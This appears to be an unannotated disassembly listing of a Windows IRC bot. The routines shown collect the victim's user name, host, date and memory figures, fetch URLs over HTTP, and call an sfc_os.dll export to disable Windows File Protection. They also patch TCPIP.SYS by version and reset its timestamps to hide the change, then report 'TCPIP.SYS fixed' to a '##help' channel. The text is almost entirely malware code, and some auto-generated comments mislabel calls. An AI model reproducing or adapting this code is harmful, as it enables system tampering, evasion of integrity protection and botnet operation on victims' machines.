		jz	short loc_41BA2E

loc_41BA27:				; CODE XREF: sub_41B964+7Cj
					; sub_41B964+8Ej
		mov	[ebp+var_4], offset a???_0 ; "???"

loc_41BA2E:				; CODE XREF: sub_41B964+73j
					; sub_41B964+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41BA66

loc_41BA37:				; CODE XREF: sub_41B964+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41BA66
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+Dest]
		push	[ebp+var_4]
		push	offset aSS_12	; "%s (%s)"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dest]
		add	esp, 10h
		mov	[ebp+var_4], eax

loc_41BA66:				; CODE XREF: sub_41B964+54j
					; sub_41B964+D1j ...
		mov	ax, word_4526B8
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4E4100
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41BA9F
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax	; GetUserNameA

loc_41BA9F:				; CODE XREF: sub_41B964+12Cj
		push	[ebp+arg_4]
		call	sub_40AFA9
		pop	ecx
		push	eax
		call	dword_4E4260	; inet_addr
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4E41D8	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_41BAC8
		push	dword ptr [eax]
		jmp	short loc_41BACD
; ---------------------------------------------------------------------------

loc_41BAC8:				; CODE XREF: sub_41B964+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"

loc_41BACD:				; CODE XREF: sub_41B964+162j
		lea	eax, [ebp+var_3E4]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		lea	eax, [ebp+FullPath]
		pop	ecx
		push	104h
		push	eax
		call	ds:dword_4F637C	; GetSystemDirectoryA
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	ds:dword_4F640C	; GetDateFormatA
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs_0 ; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	ds:dword_4F6408	; GetTimeFormatA
		push	20h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	eax
		call	ds:dword_4F649C	; GlobalMemoryStatus
		push	ebx		; Ext
		push	ebx		; Filename
		lea	eax, [ebp+Drive]
		push	ebx		; Dir
		push	eax		; Drive
		lea	eax, [ebp+FullPath]
		push	eax		; FullPath
		call	__splitpath
		lea	eax, [ebp+Drive]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_4175D3
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41B7A7
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AFA9
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+FullPath]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_4174C3
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_4174C3
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41B8A8
		push	edx
		push	eax
		push	offset asc_4526EC ; "-"
		push	200h		; Count
		push	[ebp+arg_0]	; Dest
		call	__snprintf
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B964	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BC18	proc near		; CODE XREF: sub_401CC7+278Ep
					; sub_401CC7+744Bp

Dst		= byte ptr -8Ch
var_C		= byte ptr -0Ch
Dest		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		cmp	dword_4E4308, 0
		jnz	short loc_41BC84
		push	0
		lea	eax, [ebp+Dst]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4E40E4	; InternetGetConnectedStateEx
		test	eax, eax
		jnz	short loc_41BC6D
		lea	eax, [ebp+Dst]
		push	offset aNotConnected ; "Not connected"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx

loc_41BC6D:				; CODE XREF: sub_41BC18+40j
		test	[ebp+var_C], 1
		jz	short loc_41BC7A
		push	offset aDialUp	; "Dial-up"
		jmp	short loc_41BC7F
; ---------------------------------------------------------------------------

loc_41BC7A:				; CODE XREF: sub_41BC18+59j
		push	offset off_4527E0

loc_41BC7F:				; CODE XREF: sub_41BC18+60j
		lea	eax, [ebp+Dest]
		jmp	short loc_41BC9F
; ---------------------------------------------------------------------------

loc_41BC84:				; CODE XREF: sub_41BC18+28j
		lea	eax, [ebp+Dest]
		push	offset aNA	; "N/A"
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		lea	eax, [ebp+Dst]
		pop	ecx
		push	offset aNA_0	; "N/A"

loc_41BC9F:				; CODE XREF: sub_41BC18+6Aj
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AFA9
		pop	ecx
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	offset asc_4527EC ; "-"
		push	200h		; Count
		push	[ebp+arg_0]	; Dest
		call	__snprintf
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41BC18	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BCDA	proc near		; CODE XREF: sub_41B8A8:loc_41B8B0p
					; sub_41B8A8+1Cp
		rdtsc
		retn
sub_41BCDA	endp

; ---------------------------------------------------------------------------

loc_41BCDD:				; DATA XREF: sub_401CC7+7869o
		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-35Ch]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp-148h]
		push	ebx
		push	eax
		mov	[ebp-0Ch], ebx
		mov	[ebp-4], ebx
		mov	dword ptr [ebp-8], offset dword_452830
		call	_memset
		push	edi
		lea	eax, [ebp-1C8h]
		push	ebx
		push	eax
		call	_memset
		push	edi
		lea	eax, [ebp-0C8h]
		push	ebx
		push	eax
		call	_memset
		push	100h
		lea	eax, [ebp-65Ch]
		push	ebx
		push	eax
		call	_memset
		push	3Ch
		lea	eax, [ebp-48h]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	_memset
		add	esp, 3Ch
		lea	eax, [ebp-48h]
		mov	[ebp-48h], edi
		mov	[ebp-34h], esi
		push	eax
		lea	eax, [ebp-358h]
		push	ebx
		push	eax
		mov	[ebp-28h], esi
		mov	[ebp-20h], esi
		mov	[ebp-18h], esi
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp-358h]
		push	eax
		call	dword_4E411C	; InternetCrackUrlA
		test	eax, eax
		jz	loc_41BE77
		cmp	[ebp-34h], ebx
		jbe	short loc_41BDB4
		push	dword ptr [ebp-34h]
		lea	eax, [ebp-148h]
		push	dword ptr [ebp-38h]
		push	eax
		call	_strncpy
		add	esp, 0Ch

loc_41BDB4:				; CODE XREF: .text:0041BD9Dj
		cmp	[ebp-28h], ebx
		movzx	esi, word ptr [ebp-30h]
		jbe	short loc_41BDD2
		push	dword ptr [ebp-28h]
		lea	eax, [ebp-1C8h]
		push	dword ptr [ebp-2Ch]
		push	eax
		call	_strncpy
		add	esp, 0Ch

loc_41BDD2:				; CODE XREF: .text:0041BDBBj
		cmp	[ebp-20h], ebx
		jbe	short loc_41BDEC
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-0C8h]
		push	dword ptr [ebp-24h]
		push	eax
		call	_strncpy
		add	esp, 0Ch

loc_41BDEC:				; CODE XREF: .text:0041BDD5j
		cmp	[ebp-18h], ebx
		jbe	short loc_41BE06
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-65Ch]
		push	dword ptr [ebp-1Ch]
		push	eax
		call	_strncpy
		add	esp, 0Ch

loc_41BE06:				; CODE XREF: .text:0041BDEFj
		push	ebx
		push	ebx
		lea	eax, [ebp-0C8h]
		push	3
		push	eax
		lea	eax, [ebp-1C8h]
		push	eax
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	dword_4E41D0
		call	dword_4E41F4	; InternetConnectA
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41BE8F
		push	ebx
		lea	eax, [ebp-8]
		push	200h
		push	eax
		lea	eax, [ebp-2D8h]
		push	eax
		lea	eax, [ebp-65Ch]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4E41E8	; HttpOpenRequestA
		cmp	eax, ebx
		mov	[ebp-4], eax
		jz	short loc_41BE96
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4E4194	; HttpSendRequestA
		test	eax, eax
		jz	short loc_41BE70
		push	offset dword_4528AC
		jmp	short loc_41BE9B
; ---------------------------------------------------------------------------

loc_41BE70:				; CODE XREF: .text:0041BE67j
		push	offset unk_4528C8
		jmp	short loc_41BE9B
; ---------------------------------------------------------------------------

loc_41BE77:				; CODE XREF: .text:0041BD94j
		lea	eax, [ebp-55Ch]
		push	offset dword_452834
		push	eax
		call	_sprintf
		mov	esi, [ebp-0Ch]
		pop	ecx
		pop	ecx
		jmp	short loc_41BEA9
; ---------------------------------------------------------------------------

loc_41BE8F:				; CODE XREF: .text:0041BE30j
		push	offset unk_452850
		jmp	short loc_41BE9B
; ---------------------------------------------------------------------------

loc_41BE96:				; CODE XREF: .text:0041BE58j
		push	offset unk_45287C

loc_41BE9B:				; CODE XREF: .text:0041BE6Ej
					; .text:0041BE75j ...
		lea	eax, [ebp-55Ch]
		push	eax
		call	_sprintf
		pop	ecx
		pop	ecx

loc_41BEA9:				; CODE XREF: .text:0041BE8Dj
		cmp	[ebp-1D4h], ebx
		jnz	short loc_41BED4
		push	ebx
		lea	eax, [ebp-55Ch]
		push	dword ptr [ebp-1D0h]
		push	eax
		lea	eax, [ebp-258h]
		push	eax
		push	dword ptr [ebp-35Ch]
		call	sub_409D6C
		add	esp, 14h

loc_41BED4:				; CODE XREF: .text:0041BEAFj
		lea	eax, [ebp-55Ch]
		push	eax
		call	sub_415C77
		pop	ecx
		push	esi
		call	dword_4E4254	; InternetCloseHandle
		push	dword ptr [ebp-4]
		call	dword_4E4254	; InternetCloseHandle
		push	dword ptr [ebp-1D8h]
		call	sub_40BAAA
		pop	ecx
		push	ebx
		call	ds:dword_4F63D4	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
; ---------------------------------------------------------------------------
		db 9 dup(0CCh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp-0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_43B91C
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_41BF33
		xor	eax, eax
		jmp	loc_41C062
; ---------------------------------------------------------------------------

loc_41BF33:				; CODE XREF: .text:0041BF2Aj
		mov	edx, [ebp-4]
		push	edx
		call	_malloc
		add	esp, 4
		mov	[ebp-10h], eax
		cmp	dword ptr [ebp-10h], 0
		jnz	short loc_41BF4F
		xor	eax, eax
		jmp	loc_41C062
; ---------------------------------------------------------------------------

loc_41BF4F:				; CODE XREF: .text:0041BF46j
		mov	eax, [ebp-10h]
		push	eax
		mov	ecx, [ebp-4]
		push	ecx
		mov	edx, [ebp-0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_43B916
		test	eax, eax
		jnz	short loc_41BF7B
		mov	ecx, [ebp-10h]
		push	ecx
		call	_free
		add	esp, 4
		xor	eax, eax
		jmp	loc_41C062
; ---------------------------------------------------------------------------

loc_41BF7B:				; CODE XREF: .text:0041BF66j
		lea	edx, [ebp-14h]
		push	edx
		lea	eax, [ebp-8]
		push	eax
		push	offset asc_452904 ; "\\"
		mov	ecx, [ebp-10h]
		push	ecx
		call	sub_43B910
		test	eax, eax
		jz	loc_41C054
		mov	edx, [ebp-8]
		mov	eax, [edx+0Ch]
		shr	eax, 10h
		and	eax, 0FFFFh
		cmp	eax, 0A28h
		jnz	loc_41C054
		mov	ecx, [ebp-8]
		mov	edx, [ecx+0Ch]
		and	edx, 0FFFFh
		and	edx, 0FFFFh
		mov	[ebp-18h], edx
		cmp	dword ptr [ebp-18h], 0A7Dh
		jg	short loc_41BFED
		cmp	dword ptr [ebp-18h], 0A7Dh
		jz	short loc_41C031
		cmp	dword ptr [ebp-18h], 884h
		jz	short loc_41BFF8
		cmp	dword ptr [ebp-18h], 9C9h
		jz	short loc_41C01E
		jmp	short loc_41C044
; ---------------------------------------------------------------------------

loc_41BFED:				; CODE XREF: .text:0041BFCEj
		cmp	dword ptr [ebp-18h], 0B4Ch
		jz	short loc_41C00B
		jmp	short loc_41C044
; ---------------------------------------------------------------------------

loc_41BFF8:				; CODE XREF: .text:0041BFE0j
		mov	eax, [ebp-10h]
		push	eax
		call	_free
		add	esp, 4
		mov	eax, 1
		jmp	short loc_41C062
; ---------------------------------------------------------------------------

loc_41C00B:				; CODE XREF: .text:0041BFF4j
		mov	ecx, [ebp-10h]
		push	ecx
		call	_free
		add	esp, 4
		mov	eax, 2
		jmp	short loc_41C062
; ---------------------------------------------------------------------------

loc_41C01E:				; CODE XREF: .text:0041BFE9j
		mov	edx, [ebp-10h]
		push	edx
		call	_free
		add	esp, 4
		mov	eax, 3
		jmp	short loc_41C062
; ---------------------------------------------------------------------------

loc_41C031:				; CODE XREF: .text:0041BFD7j
		mov	eax, [ebp-10h]
		push	eax
		call	_free
		add	esp, 4
		mov	eax, 4
		jmp	short loc_41C062
; ---------------------------------------------------------------------------

loc_41C044:				; CODE XREF: .text:0041BFEBj
					; .text:0041BFF6j
		mov	ecx, [ebp-10h]
		push	ecx
		call	_free
		add	esp, 4
		xor	eax, eax
		jmp	short loc_41C062
; ---------------------------------------------------------------------------

loc_41C054:				; CODE XREF: .text:0041BF93j
					; .text:0041BFACj
		mov	edx, [ebp-10h]
		push	edx
		call	_free
		add	esp, 4
		xor	eax, eax

loc_41C062:				; CODE XREF: .text:0041BF2Ej
					; .text:0041BF4Aj ...
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp-94h]
		mov	dword ptr [ebp-94h], 94h
		push	eax
		call	ds:dword_4F63D0	; GetVersionExA
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_41C0B1
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_41C0B1
		lea	eax, [ebp-80h]
		push	offset a2	; "2"
		push	eax
		call	_strstr
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41C0B1
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_41C0B1:				; CODE XREF: .text:0041C08Dj
					; .text:0041C096j ...
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	dword ptr [ebp+8]
		lea	eax, [ebp-104h]
		push	offset aS_bck	; "%s.bck"
		push	eax
		call	_sprintf
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	0
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_4F6398	; CopyFileA
		neg	eax
		sbb	eax, eax
		neg	eax
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C0EF	proc near		; CODE XREF: .text:0041C213p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+var_200]
		push	100h
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	0
		push	0
		call	ds:dword_4F6488	; MultiByteToWideChar
		push	offset aSfc_os_dll ; "sfc_os.dll"
		call	ds:dword_4F63C0	; LoadLibraryA
		push	5
		push	eax
		call	ds:dword_4F63C4	; GetProcAddress
		lea	ecx, [ebp+var_200]
		push	0FFFFFFFFh
		push	ecx
		push	0
		call	eax	; GetUserNameA
		leave
		retn
sub_41C0EF	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 3B0h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	46h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1B0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	dword ptr [ebp-60h], offset asc_452920 ; "L"
		push	esi
		mov	[eax+114h], esi
		mov	dword ptr [ebp-5Ch], offset dword_452924
		mov	dword ptr [ebp-58h], offset dword_452928
		mov	dword ptr [ebp-54h], offset dword_4F4628
		mov	dword ptr [ebp-50h], offset dword_45292C
		mov	dword ptr [ebp-4Ch], offset dword_452930
		mov	dword ptr [ebp-48h], offset dword_4F462C
		mov	dword ptr [ebp-44h], offset dword_4F4630
		mov	dword ptr [ebp-80h], offset dword_452934
		mov	dword ptr [ebp-7Ch], offset dword_452938
		mov	dword ptr [ebp-78h], offset dword_45293C
		mov	dword ptr [ebp-74h], offset dword_4F4634
		mov	dword ptr [ebp-70h], offset dword_452940
		mov	dword ptr [ebp-6Ch], offset dword_452944
		mov	dword ptr [ebp-68h], offset dword_4F4638
		mov	dword ptr [ebp-64h], offset dword_4F463C
		mov	dword ptr [ebp-34h], offset dword_452948
		mov	dword ptr [ebp-30h], offset dword_45294C
		mov	dword ptr [ebp-40h], offset dword_452950
		mov	dword ptr [ebp-3Ch], offset dword_452954
		mov	dword ptr [ebp-38h], offset dword_452958
		mov	[ebp-4], ebx
		call	_malloc
		mov	[ebp-8], eax
		mov	[ebp-0Ch], ebx
		mov	dword ptr [esp], 7530h
		call	ds:dword_4F6380	; Sleep
		lea	eax, [ebp-1A8h]
		push	eax
		call	sub_41C0EF
		pop	ecx
		mov	edi, 80h
		lea	eax, [ebp-1A8h]
		push	edi
		push	eax
		call	ds:dword_4F639C	; SetFileAttributesA
		push	ebx
		push	edi
		push	3
		push	ebx
		push	esi
		lea	eax, [ebp-1A8h]
		push	80000000h
		push	eax
		call	ds:dword_4F63F4	; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41C26E
		lea	eax, [ebp-90h]
		push	eax
		lea	eax, [ebp-98h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		push	edi
		call	ds:dword_4F647C	; GetFileTime
		push	edi
		call	ds:dword_4F6370	; CloseHandle

loc_41C26E:				; CODE XREF: .text:0041C249j
		lea	eax, [ebp-1A8h]
		push	offset dword_45295C
		push	eax
		call	_fopen
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_41C2C5
		push	dword ptr [ebp-0A4h]
		lea	eax, [ebp-3B0h]
		push	offset aCanNotOpenTcpi ; "Can not open TCPIP.SYS, version %d."
		push	200h
		push	eax
		call	__snprintf
		lea	eax, [ebp-3B0h]
		push	eax
		call	sub_415C77
		push	dword ptr [ebp-1ACh]
		call	sub_40BAAA
		add	esp, 18h
		push	ebx
		call	ds:dword_4F63D4	; ExitThread

loc_41C2C5:				; CODE XREF: .text:0041C286j
		mov	eax, [ebp-0A4h]
		dec	eax
		jz	loc_41C49A
		dec	eax
		jz	loc_41C3ED
		dec	eax
		jz	loc_41C36A
		dec	eax
		jnz	loc_41C53E
		mov	dword ptr [ebp-2Ch], 130h
		mov	dword ptr [ebp-28h], 4F5A2h
		xor	edi, edi

loc_41C2F7:				; CODE XREF: .text:0041C32Ej
		push	ebx
		push	dword ptr [ebp+edi-2Ch]
		push	dword ptr [ebp+8]
		call	_fseek
		push	dword ptr [ebp+8]
		push	esi
		push	esi
		push	dword ptr [ebp-8]
		call	sub_41EFA0
		push	esi
		push	dword ptr [ebp+edi-40h]
		push	dword ptr [ebp-8]
		call	_strncmp
		add	esp, 28h
		test	eax, eax
		jnz	short loc_41C328
		inc	dword ptr [ebp-4]

loc_41C328:				; CODE XREF: .text:0041C323j
		add	edi, 4
		cmp	edi, 0Ch
		jl	short loc_41C2F7
		cmp	dword ptr [ebp-4], 3
		jge	loc_41C53E
		mov	[ebp-0Ch], esi
		xor	edi, edi

loc_41C33F:				; CODE XREF: .text:0041C363j
		push	ebx
		push	dword ptr [ebp+edi-2Ch]
		push	dword ptr [ebp+8]
		call	_fseek
		push	dword ptr [ebp+8]
		push	esi
		push	esi
		push	dword ptr [ebp+edi-40h]
		call	sub_421FE0
		add	edi, 4
		add	esp, 1Ch
		cmp	edi, 0Ch
		jl	short loc_41C33F
		jmp	loc_41C53E
; ---------------------------------------------------------------------------

loc_41C36A:				; CODE XREF: .text:0041C2DAj
		mov	dword ptr [ebp-2Ch], 130h
		mov	dword ptr [ebp-28h], 4F322h
		xor	edi, edi

loc_41C37A:				; CODE XREF: .text:0041C3B1j
		push	ebx
		push	dword ptr [ebp+edi-2Ch]
		push	dword ptr [ebp+8]
		call	_fseek
		push	dword ptr [ebp+8]
		push	esi
		push	esi
		push	dword ptr [ebp-8]
		call	sub_41EFA0
		push	esi
		push	dword ptr [ebp+edi-34h]
		push	dword ptr [ebp-8]
		call	_strncmp
		add	esp, 28h
		test	eax, eax
		jnz	short loc_41C3AB
		inc	dword ptr [ebp-4]

loc_41C3AB:				; CODE XREF: .text:0041C3A6j
		add	edi, 4
		cmp	edi, 8
		jl	short loc_41C37A
		cmp	dword ptr [ebp-4], 2
		jge	loc_41C53E
		mov	[ebp-0Ch], esi
		xor	edi, edi

loc_41C3C2:				; CODE XREF: .text:0041C3E6j
		push	ebx
		push	dword ptr [ebp+edi-2Ch]
		push	dword ptr [ebp+8]
		call	_fseek
		push	dword ptr [ebp+8]
		push	esi
		push	esi
		push	dword ptr [ebp+edi-34h]
		call	sub_421FE0
		add	edi, 4
		add	esp, 1Ch
		cmp	edi, 8
		jl	short loc_41C3C2
		jmp	loc_41C53E
; ---------------------------------------------------------------------------

loc_41C3ED:				; CODE XREF: .text:0041C2D3j
		mov	dword ptr [ebp-2Ch], 130h
		mov	dword ptr [ebp-28h], 131h
		mov	dword ptr [ebp-24h], 132h
		mov	dword ptr [ebp-20h], 133h
		mov	dword ptr [ebp-1Ch], 4F5A2h
		mov	dword ptr [ebp-18h], 4F5A3h
		mov	dword ptr [ebp-14h], 4F5A4h
		mov	dword ptr [ebp-10h], 4F5A5h
		xor	edi, edi

loc_41C427:				; CODE XREF: .text:0041C45Ej
		push	ebx
		push	dword ptr [ebp+edi-2Ch]
		push	dword ptr [ebp+8]
		call	_fseek
		push	dword ptr [ebp+8]
		push	esi
		push	esi
		push	dword ptr [ebp-8]
		call	sub_41EFA0
		push	esi
		push	dword ptr [ebp+edi-80h]
		push	dword ptr [ebp-8]
		call	_strncmp
		add	esp, 28h
		test	eax, eax
		jnz	short loc_41C458
		inc	dword ptr [ebp-4]

loc_41C458:				; CODE XREF: .text:0041C453j
		add	edi, 4
		cmp	edi, 20h
		jl	short loc_41C427
		cmp	dword ptr [ebp-4], 8
		jge	loc_41C53E
		mov	[ebp-0Ch], esi
		xor	edi, edi

loc_41C46F:				; CODE XREF: .text:0041C493j
		push	ebx
		push	dword ptr [ebp+edi-2Ch]
		push	dword ptr [ebp+8]
		call	_fseek
		push	dword ptr [ebp+8]
		push	esi
		push	esi
		push	dword ptr [ebp+edi-80h]
		call	sub_421FE0
		add	edi, 4
		add	esp, 1Ch
		cmp	edi, 20h
		jl	short loc_41C46F
		jmp	loc_41C53E
; ---------------------------------------------------------------------------

loc_41C49A:				; CODE XREF: .text:0041C2CCj
		mov	dword ptr [ebp-2Ch], 130h
		mov	dword ptr [ebp-28h], 131h
		mov	dword ptr [ebp-24h], 132h
		mov	dword ptr [ebp-20h], 133h
		mov	dword ptr [ebp-1Ch], 4F322h
		mov	dword ptr [ebp-18h], 4F323h
		mov	dword ptr [ebp-14h], 4F324h
		mov	dword ptr [ebp-10h], 4F325h
		xor	edi, edi

loc_41C4D4:				; CODE XREF: .text:0041C50Bj
		push	ebx
		push	dword ptr [ebp+edi-2Ch]
		push	dword ptr [ebp+8]
		call	_fseek
		push	dword ptr [ebp+8]
		push	esi
		push	esi
		push	dword ptr [ebp-8]
		call	sub_41EFA0
		push	esi
		push	dword ptr [ebp+edi-60h]
		push	dword ptr [ebp-8]
		call	_strncmp
		add	esp, 28h
		test	eax, eax
		jnz	short loc_41C505
		inc	dword ptr [ebp-4]

loc_41C505:				; CODE XREF: .text:0041C500j
		add	edi, 4
		cmp	edi, 20h
		jl	short loc_41C4D4
		cmp	dword ptr [ebp-4], 8
		jge	short loc_41C53E
		mov	[ebp-0Ch], esi
		xor	edi, edi

loc_41C518:				; CODE XREF: .text:0041C53Cj
		push	ebx
		push	dword ptr [ebp+edi-2Ch]
		push	dword ptr [ebp+8]
		call	_fseek
		push	dword ptr [ebp+8]
		push	esi
		push	esi
		push	dword ptr [ebp+edi-60h]
		call	sub_421FE0
		add	edi, 4
		add	esp, 1Ch
		cmp	edi, 20h
		jl	short loc_41C518

loc_41C53E:				; CODE XREF: .text:0041C2E1j
					; .text:0041C334j ...
		push	dword ptr [ebp+8]
		call	_fclose
		pop	ecx
		lea	eax, [ebp-1A8h]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	2
		push	40000000h
		push	eax
		call	ds:dword_4F63F4	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C58E
		lea	eax, [ebp-90h]
		push	eax
		lea	eax, [ebp-98h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		push	esi
		call	ds:dword_4F6478	; SetFileTime
		push	esi
		call	ds:dword_4F6370	; CloseHandle

loc_41C58E:				; CODE XREF: .text:0041C569j
		cmp	[ebp-0Ch], ebx
		jz	short loc_41C5DC
		push	dword ptr [ebp-0A4h]
		lea	eax, [ebp-3B0h]
		push	offset aTcpip_sysFixed ; "TCPIP.SYS fixed, version %d."
		push	200h
		push	eax
		call	__snprintf
		push	ebx
		lea	eax, [ebp-3B0h]
		push	dword ptr [ebp-0A0h]
		push	eax
		push	offset aHelp	; "##help"
		push	dword ptr [ebp-1B0h]
		call	sub_409D6C
		lea	eax, [ebp-3B0h]
		push	eax
		call	sub_415C77
		add	esp, 28h

loc_41C5DC:				; CODE XREF: .text:0041C591j
		push	dword ptr [ebp-1ACh]
		mov	dword_4401F0, ebx
		call	sub_40BAAA
		pop	ecx
		push	ebx
		call	ds:dword_4F63D4	; ExitThread

; =============== S U B	R O U T	I N E =======================================



sub_41C5F5	proc near		; CODE XREF: sub_401CC7+5189p

arg_0		= dword	ptr  4

		push	esi
		push	100h		; Size
		mov	esi, offset byte_4F4644
		push	0		; Val
		push	esi		; Dst
		call	_memset
		add	esp, 0Ch
		push	[esp+4+arg_0]
		push	offset aS_32	; "%s"
		push	0FFh		; Count
		push	esi		; Dest
		call	__snprintf
		add	esp, 10h
		pop	esi
		retn
sub_41C5F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C624(int,char *Str,int)

sub_41C624	proc near		; CODE XREF: sub_41C76A+1A8p
					; sub_41C76A+1C5p ...

var_14		= byte ptr -14h
var_C		= byte ptr -0Ch
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		mov	esi, offset dword_4F4748
		lea	edi, [ebp+var_C]
		mov	ax, word_4529A8
		movsd
		movsb
		mov	esi, offset dword_4F4750
		lea	edi, [ebp+var_14]
		mov	[ebp+var_2], ax
		mov	ax, word_4529AC
		movsd
		mov	[ebp+var_6], ax
		mov	ax, word_4F4744
		movsw
		mov	[ebp+var_4], ax
		mov	eax, [ebp+arg_8]
		xor	esi, esi
		cmp	eax, esi
		jnz	loc_41C6F0
		mov	edi, [ebp+arg_0]
		push	ebx
		mov	ebx, [ebp+Str]
		mov	[ebp+arg_8], esi

loc_41C676:				; CODE XREF: sub_41C624+C7j
		mov	eax, [ebp+arg_8]
		sub	eax, esi
		jz	short loc_41C696
		dec	eax
		jnz	short loc_41C6E4
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
